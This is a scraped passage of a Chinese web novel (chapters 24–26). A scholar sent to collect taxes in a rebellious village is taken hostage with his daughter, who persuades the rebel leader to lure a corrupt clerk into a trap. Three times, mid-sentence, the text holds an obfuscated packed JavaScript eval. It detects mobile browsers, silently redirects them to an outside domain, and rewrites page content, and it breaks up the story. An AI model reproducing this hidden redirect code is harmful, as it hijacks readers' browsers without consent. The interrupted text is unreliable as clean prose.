知县见唐家族长亲自来访，倒也客气。分宾主落座，寒暄几句，族长便开门见山，陈情唐守仁体弱书生，不堪催征重役，尤其是去石沟村那等凶险之地，恐有性命之忧，恳请知县收回成命，或准许他家出钱另雇壮丁替代。 知县听着族长陈情，慢悠悠地呷了口茶，才道：“老太爷爱惜族中子弟，拳拳之心，我明白。只是这秋税催征，关乎朝廷赋税，国之大计。役差轮派，皆有定例，户册丁口核实无误，方有此安排。 唐秀才家既添了新丁，人数达标，摊上此役，亦是常理。若因他是读书人便随意更替，恐难以服众啊。” 族长心中一沉，听出知县话里有推脱之意，加重语气道：“唐守仁一介书生，手无缚鸡之力，去石沟村催粮，无异于驱羊入狼群。非但于税赋无益，若真出了差池，岂不有损知县爱民如子的清誉？ 老朽恳请念在守仁一心向学，网开一面。唐家愿出双倍，不，三倍的代役银。” 知县脸上的笑容淡了些，放下茶盏，叹了口气：“老太爷，非是我不近人情。跟您透个底，有唐秀才家亲近之人向我禀报，说他家中近来有薄财，却对朝廷赋税徭役颇有微词，若此番再允他代役，恐更助长此等风气，于法度不合啊。” 族长心头猛地一跳，这话指向性太明显了，血缘亲近之人不会做此事，地缘亲近之人，除了钱贵还能有谁？定是这厮在知县面前进了谗言。 “此乃小人之言，恶意中伤。”族长强压怒火，据理力争，“守仁家贫，人所共知，纵有些许进项，亦是其女在绣艺坊凭手艺辛苦所得，安分守己，何来微词？还望知县明察。” 知县摆了摆手，显然不想再听：“法度如此，我亦难徇私。不过念在唐秀才确系文弱，又是初犯。我允你族中派一青壮族人随行，名为协理，实为护卫。至于人选嘛，唐守礼就不错，年轻力壮，嘴皮子也利索。” 唐守礼？族长闻言，眉头皱得更紧了。他最是胆小怕事，让他去保护唐守仁，只怕遇到事，他跑得比兔子还快。 “官人……” “就这么定了。”知县不容分说地站起身，端茶送客，“秋税催征，刻不容缓。后日一早，唐守仁和唐守礼二人，务必到县衙报到领差。” 说完，竟转身进了后堂，不再给族长说话的机会。 族长站在空荡荡的县衙大堂，气得浑身发抖。 钱贵这厮，定是提前在知县面前把路都堵死了，连派个没用的唐守礼，都像他故意安排的羞辱。 消息传回唐家，如同晴天霹雳。 “要那个没骨头的软脚虾跟着去？”大娘气得直拍桌子，“那是护卫吗？那是拖后腿的累赘。钱贵这挨千刀的，存心把我们往死里整。” 溪娘抱着小玥儿，眼泪扑簌簌往下掉。唐守仁脸色惨白，坐在那里，如同失了魂的木偶。 唐照环小脸紧绷，拳头攥得死死的。 “爹，不能去。”唐照环冲到唐守仁面前，“那地方去不得，钱贵肯定还有后手。” 唐守仁闭了闭眼，再睁开时，眼中竟有了几分血性：“环儿，纵是刀山火海，爹也得去闯一闯。否则，便是违抗官命，罪加一等，整个唐家也会被我连累。 三弟他嘴甜，或许能周旋一二。” 这话说得他自己都没底气。 两日后，天刚蒙蒙亮，唐守仁赶到了县衙门口，跟唐守礼汇合。 唐守礼脸上堆上讨好的笑，对着仓吏点头哈腰：“爷，辛苦辛苦。今儿个天冷，您多担待，这是我兄弟唐守仁，秀才呢。” 仓吏眼皮都没抬，拿出两个瘪瘪的褡裢放桌上：“催征的文书，户册，还有量具都在里面。” 他指了指旁边两个瘦骨嶙峋的老差役：“老张头，老李头，你俩路上听唐秀才吩咐。” 唐守仁一颗心彻底沉到了谷底。钱贵果然安排好了，随行的竟是这等毫无用处的老弱，连像样的帮手都不给。 “这量具中的斗和斛，在下看着似乎不太规整。”他虽不谙俗务，但也见过标准的，这俩明显要大一圈。 仓吏不耐烦地挥挥手，关上大门：“能用就行。催征要紧，谁还跟你讲究这个。赶紧出发，误了时辰，你可吃罪不起。” 唐守礼背上装量具的破褡裢：“将就点吧，人在屋檐下，哪能不低头。能用就行，咱们又不是去收租子，是去催命的，讲究啥。” 话无心，却像根针一样扎在唐守仁心上。 催命，是啊，这哪里是催粮，分明是钱贵安排的催命陷阱。 唐守仁环顾四周，竟没看到一件锁拿抗税者的械具。枷锁、铁链、水火棍，一样都没有，差役手里只拄着两根破木棍。 “械具呢？”他忍不住问。 老张头抬起浑浊的眼，茫然地摇摇头。 老李头咳嗽两声，哑着嗓子：“没让带，就说让咱们跟着去认认门。” 不标准的量具，老弱无用的帮手，没有锁拿的械具，钱贵让一个手无寸铁的秀才去石沟村那等刁顽之地催粮。一旦起了冲突，他就能借刁民的手，让他唐守仁不死也脱层皮。 唐守礼无奈地扶住他：“走吧，早去早回。这鬼天气，冻死个人。” 四人顶着寒风，深一脚浅一脚往城南行去。 刚出城门没走几步，路边一个背着书箱，头戴毡帽的小郎君猛地窜了出来，脆生生喊了句：“爹！” 唐守仁唬了一跳，定睛一看，不是唐照环是谁？ 他又惊又怒，几步抢过去，压低声音急道：“你怎地跑出来了？胡闹！快回家去，这不是你该来的地方。” 此行凶险万分，她跟来岂不是羊入虎口。 唐照环倔强地挺着小胸脯，紧紧抱着书箱，语速飞快：“我不回去，我给您当书童，我会记账。您看，笔墨纸砚水囊干粮我都带齐了。爹，求您了。” “胡闹，简直是胡闹。”唐守仁急得跺脚，“那石沟村是善地吗？你去添什么乱，快回去，莫让你娘担心。” 唐照环梗着脖子：“娘默许了的。她说让我看着爹些，别让爹太老实吃了亏。” 这话半真半假，溪娘只念叨了半天怎么办，顾不上阻止女儿的大胆举动。 唐守仁看着女儿眼中的坚持和担忧，心头一酸，拒绝的话堵在喉咙里，怎么也说不出口了。他何尝不知女儿早慧？可，可这…… 唐守礼打起了圆场：“哎呦，二哥，我看环儿一片孝心。穿成这样，也像个伶俐的小书童。左右咱去催粮，又不是上战场，带着就带着呗。小孩子家，腿脚灵便，真有点啥事，跑得比兔子还快。” 两个老差役事不关己，只缩着脖子咳嗽，就当没看见眼前这出父女争执。 唐守仁心如刀绞。 此去凶险，可身边这些人，唐守礼滑不溜手，两个老差役形同虚设，一个也靠不住。女儿虽小，那份机灵劲儿和对自己的赤诚，却胜过旁人百倍。 他长叹一声，紧紧攥住她冰凉的小手，声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296341|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙哑：“罢了，你既铁了心，爹就带上你。只是你须得答应爹，万事不可强出头，一切听爹吩咐。若有变故，护住自身要紧。” 唐照环重重点头：“环儿都听爹的。” “三弟，这次出行，你什么都不用做，只管看好环儿，莫让她离你左右便是。但她出了事，我唯你是问！” 唐守仁这话说得极重，目光如电，直刺唐守礼。唐守礼被这目光一慑，不住点头。 于是，这支本就寒酸古怪的催征队伍，又多了个小书童。 众人向南行了大半日，眼前出现个陷在山坳里的村落。几缕稀薄的炊烟有气无力地飘着，便是石沟村了。 村中房屋低矮破败，多是茅草覆顶，土坯垒墙，不少墙皮剥落，露出里面干草，墙缝大得能塞进拳头。 唐守仁一行人刚走近村口，几个面黄肌瘦的孩童便躲在断墙后张望。很快，三三两两的村民从低矮的门洞里钻出来，眼神里没有好奇，只有麻木、疲惫和敌意。 唐守仁深吸一口冰冷的空气，强自镇定，朗声道：“诸位乡亲，在下唐守仁，奉知县之命，前来贵村催征本季秋税。请里正或村中主事人上前说话。” 话音落下，村民们互相交换着眼神，无人应答，更无人上前。 等了半晌，才见一个穿着补丁摞补丁的老者慢吞吞地从村里走出来。 “差爷，今年实在是……”老者刚开口，就被唐守礼打断。 “少废话，秋税催征，刻不容缓。户册说该交多少，一粒不能少！”唐守礼挺了挺胸脯，想拿出点官威，但那色厉内荏的样子，实在没什么威慑力。 唐守仁皱了皱眉，觉得唐守礼太过生硬，上前一步，拿出文书，尽量温和地报了收税项目和各自的数字。 “朝廷赋税，关乎国用，还请乡亲们体谅。” 老者身后一个满脸络腮胡的凶悍汉子劈手夺过文书，冷笑：“去年遭了旱灾，官家不是说酌情减免，怎么还按丰年收。村子穷得连架织布机都没有，哪来的织机钱。还有保甲钱，王老五那家子都饿死绝户了，凭什么摊到俺们头上？” 他每说一句，身后村民眼中的怒火便盛一分。 “这……户册是县衙定的，我等只按册催收。”唐守仁试图解释。 “呸，谁知道是真是假。你一个白面书生，带着个混子和奶娃子，还有俩棺材瓤子就来俺们石沟村，我看你是钱贵那狗官派来的假差，想坑死俺们。” 络腮胡猛地将文书摔在地上。 “大胆，你敢侮辱朝廷命官，污蔑公差！”唐守礼尖着嗓子叫起来，人却往唐守仁身后缩。 唐守仁强自镇定：“本差身份文书俱在，岂能有假？税额若有疑问，可随本差回县衙申辩。” “申辩个屁！”旁边一个村民怒吼，“去县衙骨头渣子都给你敲碎熬油了，那里恨不得榨干俺们最后一滴血。” “跟他们拼了，反正也是死路一条！” 人群彻底被点燃，愤怒的村民一步步围拢上来，挥舞着锄头木棒。 差役老李头趁人不注意，拄着棍子，一步一挪，悄无声息地往村外溜了。 “诸位乡亲，听我一言。”唐守仁还想做最后的努力，试图讲理，“赋税乃国之法度，拒缴是重罪。朝廷亦有恤民之策，若有冤屈，可随我回县衙申诉。切莫因一时激愤，犯下大错。” 络腮胡狞笑：“兄弟们，跟狗官没什么道理好讲。他们不给俺们活路，俺们也不让他们好过。他不是说他是真的，那俺们把人抓起来扣下，让县太爷免了俺们村的赋税再放人。” 几个胆大的青壮村民在络腮胡的带领下一拥而上。唐守仁一个文弱书生，哪里抵挡得住。他下意识地想把女儿护在身后，却被人猛地一推，一个趔趄摔倒在地。 混乱中，几双粗糙有力的大手抓住了唐照环的胳膊，将她硬生生从他身边扯开。 唐照环惊恐地尖叫挣扎，身影瞬间被淹没在愤怒的人群中。 唐守仁目眦欲裂，挣扎着想爬起来，却被络腮胡一脚狠狠踹在腰眼上，随即被反剪双臂捆了个结实。 混乱中，腿脚最不利索的差役老张头，也顺带被几个村民揪住，摁倒在地捆了起来。 25.第 25 章 说服 片刻功夫，石沟村村口。 唐守仁、唐守礼、唐照环、老张头，四人被粗麻绳捆得如同粽子丢在地上。 络腮胡解了唐守礼身上的麻绳，狠狠踢了一脚他的屁股：“滚回去报信，就说只要县衙免了俺们村的赋税，立刻放人，否则要死大家一起死。” 唐守礼一路连滚带爬，使出吃奶的力气狂奔回县城，直奔县衙。 当日大门当值的正是钱贵。 唐守礼冲到钱贵面前，扑通跪倒在地，嚎啕起来：“不好了，石沟村反了！” 钱贵脸上恰到好处地露出一丝惊愕：“何事惊慌？慢慢说来。” 唐守礼鼻涕眼泪糊了一脸，语无伦次地将石沟村所见添油加醋说了一遍：“那村民简直是群活阎王，要不是小的见机得快，拼死杀出一条血路回来报信，此刻也遭了毒手了哇。” 钱贵听罢，脸上瞬间布满震惊与痛心疾首，用力一拍桌子：“朗朗乾坤，竟有如此刁民，胆敢扣押秀才和官差，无法无天。 唐守仁也是糊涂，我早知石沟村凶险，特意安排你随行护卫，又拨了老成差役，怎会弄到如此地步？定是他书生意气，不懂变通，激怒了村民。” “钱爷，现在不是说这个的时候。”唐守礼哭喊道，“那帮刁民说了，要免了全村的赋税才肯放人。迟了，二哥和环儿怕是就没了。” “赋税乃朝廷根本，岂能因刁民胁迫而免。此例一开，后患无穷，知县那里也断难应允。”钱贵来回踱步，仿佛在苦思良策。 实则，他心中早已乐开了花。 唐守仁陷在石沟村十死无生，那个小丫头片子也跟着陷了进去。唐守礼个废物跑回来报信，更是坐实了唐守仁无能激变的罪名。 至于免赋？笑话，这正是他向知县表忠心，显手段的好机会。正好借平定刁民暴乱，维护朝廷法度之名，行彻底铲除唐守仁之实，说不定还能从石沟村榨出点油水来补自己的亏空。 钱贵停下脚步，脸上露出决然之色：“你速去后堂将此事原原本本禀告知县。” “是是，小的这就去。”唐守礼如蒙大赦，直奔后堂去了。 看着唐守礼狼狈的背影消失在门口，钱贵脸上的忧急瞬间褪去，换上一副冰冷得意的笑容。 消息像长了翅膀，飞快传到唐家。溪娘闻听丈夫和女儿双双被扣作人质，眼前一黑，直接晕死过去。 族长得信，气得浑身发抖，拄着拐杖就冲到了县衙。 “此事必须好好处置，唐守仁可是我唐家栋梁。”族长须发皆张，老眼通红。 知县一脸沉痛，搀扶住族长：“本官痛心疾首，万没想到石沟刁民竟丧心病狂至此。那为首者李铁枪，乃是个积年的滚刀肉，颇为棘手。也怪本官思虑不周，早知如此，当初就该顶住压力，免了唐秀才这趟差事，悔之晚矣。” 他这话看似自责，实则把责任又暗暗推回给当初告密导致他不能徇私的人身上。 族长心知肚明是钱贵搞鬼，却苦无证据。 “当务之急是救人。”族长强压怒火，“您打算如何应对那刁民的条件？” 知县一脸为难：“刁民要免全村赋税，此乃动摇国本。万万不可应允，否则一村成事，十村效仿，朝廷威严何在。本官这顶官帽丢了事小，坏了国家法度事大。” “那守仁他们？”族长听出他的意思，心凉了半截。 “本官已命钱贵点齐弓手，即刻前往石沟村，先围了村子震慑刁民，再派人进去晓以利害，陈说王法，勒令他们即刻放人。” 前来汇报集结进展的钱贵接过话头：“若刁民执迷不悟，胆敢伤人，为了朝廷法度，为了其他百姓不再受此等暴行威胁，也只能强攻了。” 他这番话说得冠冕堂皇，大义凛然。族长听在耳中，如坠冰窟。 强攻时刀枪无眼，被扣作人质的唐守仁和环丫头岂有活路。 原来，他从一开始就没打算让唐守仁活着回来。无论救与不救，唐守仁都已是九死一生。 这毒计，真是环环相扣，歹毒到了极点！ 于此同时，石沟村。 唐守仁和唐照环父女，连带那倒霉的差役老张头，被丢进了一间又黑又冷的破柴房里。门窗都被粗木杠子顶死，只留条缝儿透点气，跟坐牢没两样。 刚被推进来，就有几个村民进来搜身。唐守仁怀里的几十文铜钱，唐照环书箱里偷偷塞的碎银和十个硬邦邦的杂粮饼子，连同老张头腰间挂着的半葫芦水和一个发霉的窝头，全被搜刮一空，连点渣都没剩下。 “呸，穷酸。”搜刮的村民啐了一口，扬长而去，留下三人面面相觑，心头更凉了几分。 寒气从四面透风的土墙缝里钻进来，冻得人骨头缝都发疼。从昨日清早出门到现在，粒米未进，滴水未沾，走了半天山路，再被捆着丢在冰窖里，铁打的人也扛不住。 老张头本就年老体衰，此刻蜷缩在墙角，脸色灰败，气息微弱，眼看就要不行了。唐守仁也是嘴唇干裂，眼窝深陷，靠着墙勉强支撑。只有唐照环，一双眼睛在黑暗中亮得惊人，脑袋瓜飞速运转。 她知道，耗下去，三人真得渴死饿死在这里。那为首的看着凶悍，但并非全无理智。 她得赌一把。 约莫过了小半个时辰，屋外传来沉重的脚步声，像李铁枪在门口巡视。 他虽领头抗税，扣了人，但心里也像压着块大石头，烦躁地在门口踱来踱去。 机会来了。 唐照环瞅准时机，猛地吸了口气，用尽全身力气，冲着门口方向，用又尖又脆的哭腔喊道：“水！爹快渴死了，老爷爷也要渴死了，没吃的还能熬几天，没水喝我们很快就会渴死了啊。渴死了，你们抓我们也没用了，知县更不会答应免赋税了。” 这声音穿透力极强，清晰地传入李铁枪耳中。他猛地推开那扇吱呀作响的破门，高大的身影堵在门口，屋内光线陡然一暗。 他脸色阴沉，目光扫过地上三个气息奄奄的人，尤其在小书童身上停了停。 在门口站了半晌，他最终冷哼一声，拿来一罐水重重地放在门口地上，又扔进来两个黑乎乎，不知道什么做的饼子：“省着点喝，饿不死你们。” 说完，哐当一声又把门锁上了。 唐守仁和老张头如同见了救星。唐守仁挣扎着挪过去，先喂了老张头几口水，让他气色总算缓过来一点。又喂女儿喝了几口，自己才小心翼翼地抿了一点。 那黑饼子虽然粗糙难咽，此刻也成了救命粮。三人分食了饼子，肚子里有了点东西，总算又续上了命。 唐照环喝了几口水，润了润干得冒烟的嗓子，感觉力气回来了一些。她知道，第一步赌赢了。 李铁枪不想让他们死，至少暂时不想。 唐照环趴在门缝边，用她还带点童稚的声音，怯生生地开口：“大叔？您还在外面吗？” 李铁枪没好气地哼了一声：“小娃子，又想耍什么花样？” “没有花样。”唐照环声音放得又软又轻，“大叔，您看着不像一般的庄稼把式哩，腰杆挺得直，说话声音大，还带点官威气，倒像是见过大世面的。” 这话挠到了李铁枪的痒处，他瓮声瓮气地道：“小娃子眼倒挺尖。老子当年在汴梁城里，也是吃过皇粮的禁军。懂吗？天子亲军！” 唐照环崇拜地说：“大叔您竟然是天子亲军，怪不得我看您站在那儿，跟别人都不一样，器宇轩昂，像座山似的。” 她这马屁拍得又自然又真诚，完全符合一个无知孩童对大英雄的想象。 李铁枪显然很受用，语气也不那么生硬了：“小娃子倒会说话。器宇轩昂？哈哈，老子现在就是个山沟里的泥腿子。” “才不是呢。”唐照环语气无比肯定，“前几个月，宗室祭祀皇陵，我跟着绣艺坊的绣娘去献绣品，见过护卫的禁军。盔甲亮得晃眼，气派跟天神下凡似的。大叔您当年，肯定比他们还威风。” 李铁枪沉默了。 显然，唐照环的话勾起了他深埋心底的回忆和骄傲，也让他对这个见过世面的小娃多了几分亲近感。 “哼，小娃娃懂什么威风不威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311830|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风，都是卖命的勾当。” 唐照环感觉到气氛的微妙变化，知道火候到了。 “可那也是替官家，为朝廷卖命呀。”唐照环顺着他的话往下说，“不像现在，您也是被逼得没法了。” 李铁枪刚放松的神经又绷紧了，警惕地往后退了步：“你想说什么？” “您绑错人了呀。”唐照环的脸贴着门缝，忧虑地说，“您绑的我爹是个穷秀才，连个正经官身都没有。绑的老爷爷是个谁都能使唤的老杂役。绑的我，我什么都不是。我们三个加起来，在知县眼里，一文不值。” 李铁枪呼吸一窒，没说话。 唐照环继续分析，句句戳心：“知县为了他的官声，为了杀鸡儆猴，肯定会派好多好多兵。就像您当年在禁军那样，穿着盔甲，拿着大刀长枪的兵。 他们才不会管我们死活呢，说不定他们巴不得我们死在这里。这样他们打进来，就说我们是你们杀的，他们是为民除害，剿灭匪患的大英雄。 到时候，大叔您，还有村里的其他人，一个都跑不了。石沟村就真的完了。” 唐守仁和老张头听得心惊肉跳，连大气都不敢喘，门外的李铁枪更是如同被一盆冰水从头浇到脚。 是啊。他绑的人分量太轻了，轻到根本不足以让县衙妥协，轻到反而给了官府一个名正言顺彻底剿灭石沟村的借口。他之前被愤怒冲昏了头，只想着抓人质逼宫，完全忽略了人质的分量和官府的狠毒心思。 “那怎么办？”李铁枪的声音干涩沙哑，下意识地向门缝里的小军师问计了。 唐照环知道，最关键的时刻到了。 她深吸一口气，用最清晰和坚定的童音说道：“大叔，我们没错，你们也没错。错在上头，在县衙里，在那些喝人血不吐骨头的胥吏身上。是他们层层加码，把青苗法，保甲法，折帛钱变成了催命符。是他们逼得你们活不下去，也逼得我爹这样的老实读书人走投无路。 您知道吗？就为了给皇陵神道修补，钱贵逼我家捐了五贯钱！五贯啊，我们家砸锅卖铁，我和我娘日夜赶绣活，眼睛都快熬瞎了才凑齐。我爹一个秀才，都差点被他逼得上吊，我们也是被他们往死里逼的苦命人。” 唐守仁想起钱贵的步步紧逼，悲愤交加，忍不住重重点头。 老张头在墙角适时发出悲愤的叹息：“造孽啊，钱贵那厮，心黑着呢。” 李铁枪看着唐守仁凄惨落魄的秀才模样，再想想唐照环说的五贯钱，心中的隔阂和不忿消弭了大半。 原来，穿长衫的和穿短衣的，在那些狗官眼里，都是可以随意压榨的草芥。 “我听你的，你说怎么办？”李铁枪的声音低沉得可怕。 唐照环的心提到了嗓子眼，她知道，成败在此一举了。 “擒贼先擒王。我们等县衙派人来，不管是知县亲自来，或者派钱贵或者其他班头来，这些人，才是真正有分量的人质。” 她顿了顿，让话语的力量沉淀， “大叔您沉住气，等他们来了，把人引进村，您再动手。到时候，您只管提条件，知县投鼠忌器，怕伤了心腹，更怕事情闹大捂不住盖子，才有可能会答应。这才是真正的活路，为石沟村争命的活路。” 话音落下，柴房内外，死一般的寂静。只有寒风穿过门缝，发出呜咽般的声响。 唐守仁和老张头听得目瞪口呆，不敢相信这番环环相扣，直指要害的计策，竟出自一个十岁孩童之口，这分明是妖孽啊。 门外的李铁枪，更是如遭雷击，僵立当场。他脑子里嗡嗡作响，反复回荡着唐照环那句擒贼先擒王。 是啊。与其扣着小鱼小虾等死，不如放手一搏，扣住条真正的大鱼。只有抓住大的，石沟村才有谈判的本钱，才有活命的希望。 这小娃指了一条看似凶险，实则是唯一生机的血路。 黑暗中，李铁枪的眼睛里猛地迸发出骇人的凶光。他望向县城的方向，嘴角咧开冰冷决绝的弧度。 “好一个擒贼先擒王。老子等着，看看到底是谁催谁的命。” 26.第 26 章 钱贵之死 按下石沟村这头磨刀霍霍暂且不表，单说那县城里。 钱贵在县衙里装模作样了几日，又是点兵又是遣将，把戏码演得十足。实则故意拖延时间，巴不得唐守仁父女被等不及的村民泄愤，死在石沟村，好绝了后患。 唐家族长四处托人打探，只得了些石沟村严防死守，水泼不进的风声。溪娘更是哭得形销骨立，抱着小玥儿，眼看也要熬干了。 就在这当口，年轻气盛的唐鸿音站了出来。 “二哥和环丫头不能这么不明不白地折在石沟村。我带几个信得过的族中兄弟，不要多，七八个，手脚麻利的就行，趁乱摸进去，把人抢出来。” 族长知他性子，拦是拦不住的，也知他近年一直向外跑，与三教九流打交道经验丰富，更舍不得唐守仁的前途和唐照环的技能，心想与其坐以待毙，不如搏一线生机，便同意了：“千万小心，能救则救，若事不可为，保全自身要紧。” 唐鸿音重重点头，召集了七个年轻族人。仓促之间，每人腰间别了根硬实点的短木棍，还有两把平日里砍柴的柴刀。趁着夜色，悄然跟在钱贵的官兵队伍后面，往石沟村赶去。 李铁枪派了几个机灵又可靠的汉子，日夜轮班，趴在石沟村口的枯草丛里，死死盯着通往县城的路。 村民们各个眼中憋着股同归于尽的戾气，对唐守仁三人的看守反倒松了些，每日水粮不断，只是严禁出门。 唐守仁看在眼里，心惊肉跳。此计凶险万分，一旦失控，便是血溅五步，再无转圜余地。 他只能反复告诫女儿：“切记，千万劝住村民，不可伤人性命，留得青山在。” 唐照环用力点头，但心中明白，仇恨的火山一旦爆发，她人小言轻，根本劝不住，只能祈祷李铁枪保持理智。 这一日，日头未过午，村口放哨的村民跑来报信：“来了，官兵来了好几十号，领头的是钱贵那狗官。另一个方向还跟着一队拿棍子的，不像一拨人。” “终于来了，按计行事。”李铁枪眼中凶光一闪，看向唐守仁，“看你的了。” 唐照环被留在村中，唐守仁深吸一口气，换上洗净后的，进村当日穿的长衫，在老张头的陪同下，一步步走向村口。 钱贵骑着匹高头大马，穿着簇新的袍子，在一众持刀挎弓的弓手簇拥下，耀武扬威地停在村口。 他远远看见唐鸿音带着族人也在不远处探头探脑，心中更是鄙夷。 唐家真是没人了，派这么几个毛头小子来送死。 预想中的刁民据守，箭矢横飞的场面并未出现。村口静悄悄的，只有枯树在风中呜咽。 钱贵正自疑惑，见村内走出一个人来。 来人正是唐守仁，脸上带着疲惫，神情却春风得意。他身后跟着几个村民，低着头，神情畏缩，再无半点凶悍。 他走到离官兵队伍十几步远的地方站定，对着钱贵深深一揖，声音清晰洪亮： “您可算来了，唐守仁幸不辱命！” 此言一出，不仅钱贵愣住了，连后面杀气腾腾的弓手和远处焦急观望的唐鸿音也愣住了。 唐守仁言辞恳切：“在下这几日苦口婆心，陈说朝廷法度，剖析利害关系，石沟村民众已然幡然醒悟，深知抗拒王法，罪在不赦，非但愿意如数缴纳今年秋税，更愿竭尽所能，补缴部分历年积欠。 只求钱牢头念其初犯，又兼山野愚昧，网开一面，亲至村中勘验实情，为在下及村民作保，免其重责。村民感念贵人恩德，必当箪食壶浆以迎。” 钱贵听得心头一动。 补缴历年积欠？意外之财啊。唐守仁这穷酸竟然真把事办成了？看来石沟村刁民也是外强中干。若真能不费一兵一卒收了税，还得了补缴的功劳，政绩比剿匪更体面稳妥。 至于作保？哼，到时候还不是自己说了算。 他心中贪念一起，警惕便减了三分。但老狐狸终究是老狐狸，他眼珠一转，看向远处探头探脑的唐鸿音，计上心来。 “你此言当真？”钱贵阴恻恻地问。 “句句属实，在下愿以项上人头担保。” 钱贵拿马鞭一指唐鸿音藏身的方向：“唐鸿音你过来，代本官先入村中，看看你二哥所言虚实。” 这一招毒辣。既让唐鸿音去当探路石，试探真假，又把他和唐守仁绑在一起。若真有诈，先死的也是唐家人。 唐鸿音心中做好两手准备，应了一声，急匆匆穿过官兵队伍，让族人在村口守着，独身奔到唐守仁面前。 “二哥你真没事？”唐鸿音低声询问。 唐守仁心中百味杂陈，强笑道：“放心，我无事。乡亲们确已悔悟，你随我来便是。” 他眼神深处飞快掠过凝重和暗示。 唐鸿音看出异样，心头一跳，确认了，这村里有古怪！ 他跟着唐守仁和那几个村民进了村。一路所见，触目惊心，绝不是悔悟待罪的气氛。 到了祠堂前，果然黑压压聚集了几乎全村的人。男女老少皆有，个个衣衫褴褛，面有菜色。他们沉默地站着，眼神空洞，像一群等待宰割的羔羊。 唯有站在最前面的李铁枪和几个精壮汉子，眼神像狼一样，死死盯着进来的唐守仁等人。 唐鸿音握紧了手中的木棍。 唐守仁将唐鸿音引到祠堂侧面一处稍微僻静的角落。刚一停下，他脸上春风瞬间消失，一把抓住唐鸿音的手臂：“听我说，这是死局。环儿，环儿她……” 唐照环不等爹爹开口，猛地扑过去，声音又急又快：“外面那些话，是哄钱贵的。 钱贵设下毒计要害死我爹，石沟村的乡亲也被他逼得没了活路。刚才我爹不得已说谎话，为了把钱贵那狗官骗进村里当作人质扣押。” 唐守仁也急忙补充：“环儿说的句句属实。钱贵狼子野心，欲借刀杀人。石沟村乡亲已决意反抗，只等钱贵入彀。你快带人走，莫蹚这浑水。” 唐鸿音脑子嗡嗡作响，一股热血直冲头顶，猛地攥紧拳头，眼中再无犹豫：“能往哪里走，你们是我唐家人。钱贵那狗官如此歹毒，要害我族中兄弟和侄女。我唐鸿音跑商队也见过血，这事，我管定了。” 他看向唐照环，目光灼灼：“要十二叔怎么做？” 唐照环意外争取到了强援，语速飞快地将计划最关键的一环和盘托出： “钱贵生性多疑贪婪，他怕村里有埋伏，不敢轻入。所以，需要你再给他加一把火，让他彻底放下戒心。” “如何加火？” “你回去禀报，就说亲眼所见，村民确已被我爹震慑住。更要紧的是，我爹在清查户册时，发现石沟村有大量往年隐瞒不报的人口和田地。不管钱贵是贪下私藏还是上报争功，对他都是油水丰厚。 但你要强调，此事关系重大，一旦刁民被激怒狗急跳墙，或是被其他有心人知晓分功，那就竹篮打水一场空。” 她盯着唐鸿音的眼睛，一个字一个字教他， “所以，请钱大人务必只带心腹，悄悄进村，与我二哥当面核实，仔细推敲，敲定细节后再以雷霆之势一举拿下，把这泼天的功劳和好处，牢牢攥在自己手里。” 好毒的计，好香的饵。隐户和瞒田，追缴的赋税实打实，钱贵这种贪婪成性的胥吏岂能不动心。再加上独吞功劳和避免打草惊蛇的说辞，简直是为他量身定做的陷阱。 唐鸿音重重点头：“我这就去把那狗官请进来。” 他匆匆返回村口，努力在脸上挤出兴奋表情。 “如何？”钱贵居高临下问道。 “大喜。二哥所言不虚，村民都吓破了胆，聚在祠堂前，大气不敢出。” 钱贵脸上露出满意的笑容，但依旧谨慎：“就这些？” “单独跟您禀报。”唐鸿音声音压得极低，凑到钱贵马前，吐出让他心头狂跳的词，“还有隐户和瞒田。石沟村刁滑得很，至少瞒报了二三十户丁口，还有百十亩挂在山旮旯里的好田没上册子。” 钱贵的呼吸瞬间粗重了。隐户瞒田可是肥得流油的大功，查出来，不仅能补巨额税赋，更能狠狠敲诈村民一笔。 唐鸿音趁热打铁，瞟了一眼钱贵身后那些弓手：“此事万万不能声张。一则怕村民被激怒了狗急跳墙毁证，二则人多眼杂，功劳和好处怕是不好独占。我二哥的意思是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324283|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，请大人只带一两位绝对心腹，由我引路秘密入村，咱们先把证据和处置定了。到时候，功劳是您的，好处自然也跑不了。” 这番话，如同最甜美的毒药，彻底瓦解了钱贵最后的警惕。 唐守仁这酸丁，居然还有这等眼力？是了，他是秀才，懂算术丈量。 贪欲彻底蒙蔽了他的双眼，只看到独吞功劳和钱财的美景，哪里还顾得上什么风险。 钱贵得意大笑，仿佛功劳已到手：“你等在此守住村口，没有老子号令不得擅入，以免惊扰村民，坏了大事。” 其他人虽有疑虑，但见钱贵一副志在必得的样子，不敢多言，只得领命。 钱贵志得意满，点了身边两个膀大腰圆的心腹：“你二人随老子入村，替唐秀才主持公道。” 